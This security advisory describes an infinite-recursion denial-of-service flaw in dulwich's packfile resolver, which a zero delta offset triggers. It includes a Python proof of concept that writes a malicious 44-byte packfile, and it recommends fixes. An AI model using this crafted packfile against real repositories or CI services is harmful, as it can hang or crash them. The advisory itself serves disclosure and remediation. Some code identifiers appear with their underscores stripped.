PT-2026-111182

Published

2026-10-02

·

Updated

2026-10-02

Description by

CVSS 3.1
6.5
Medium
MetricsAV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Affected file

  • dulwich/pack.py (Method: Pack.resolve object)

Description / Summary

A High-severity Denial of Service (DoS) vulnerability exists in the Pack.resolve object method. When resolving an OFS DELTA object, the resolver calculates the base offset using base offset = obj offset - delta offset.
If a malicious packfile contains an OFS DELTA object where delta offset is 0, the calculation obj offset - 0 resolves back to the current object's own offset. Because the implementation lacks a depth counter, a "visited" set, or an explicit rejection of delta offset == 0, the resolver enters an infinite recursive loop, exhausting CPU resources and eventually crashing the process.
Vulnerable Code Breakdown (dulwich/pack.py):
python
elif obj type == OFS DELTA:
  delta offset = parse pack object offset at(...)
  base offset = obj offset - delta offset     # VULNERABILITY: Self-reference if delta offset == 0
  base type, base data = self.resolve object(...) # VULNERABILITY: Infinite recursion

Potential impact

An attacker can trigger this infinite loop via any operation that walks packfiles (e.g., dulwich clone, fetch, cat-file, or internal Pack. getitem lookups).
  1. CPU Exhaustion: The process will spin at 100% CPU indefinitely.
  2. Denial of Service: Any service using dulwich (web interfaces, CI/CD runners) will hang or crash, preventing legitimate repository access.
  3. Protocol Incompatibility: This behavior violates the Git packfile specification. The standard git C client explicitly guards against this: if (!base offset) die("delta offset == 0 is invalid");.

POC (Proof of Concept)

The following Python script generates a 44-byte packfile that triggers the loop:
python
from dulwich.pack import Pack
import struct, zlib, tempfile, os

# Build a single OFS DELTA entry whose delta offset is 0
type ofs delta = 6
header = bytes([(type ofs delta << 4) | 0])
ofs bytes = bytes([0x00]) # delta offset = 0
body = zlib.compress(b'')
raw = header + ofs bytes + body

pack = b'PACK' + struct.pack('>I', 2) + struct.pack('>I', 1) + raw + (b'x00' * 20)

fd, path = tempfile.mkstemp(suffix='.pack')
os.write(fd, pack); os.close(fd)

# Trigger: This call never returns and spins at 100% CPU
p = Pack(path)
obj = p[list(p.iterobjects())[0]]

Possible solution

  1. Explicit Guard: Add a check in Pack.resolve object to reject delta offset == 0:
python
if delta offset == 0:
  raise CorruptPacksFile("OFS DELTA has self-referential delta offset=0")
  1. Recursion Depth: Implement a depth limit (e.g., MAX DELTA DEPTH = 50) to prevent long, non-looping chains of deltas (OFS or REF).
Exploitability
Fix
Impacts
Vendors
Affected products
Related identifiers
GHSA-35MR-4567-66VG
Found an issue in the description? Have something to add? Feel free to write us 👾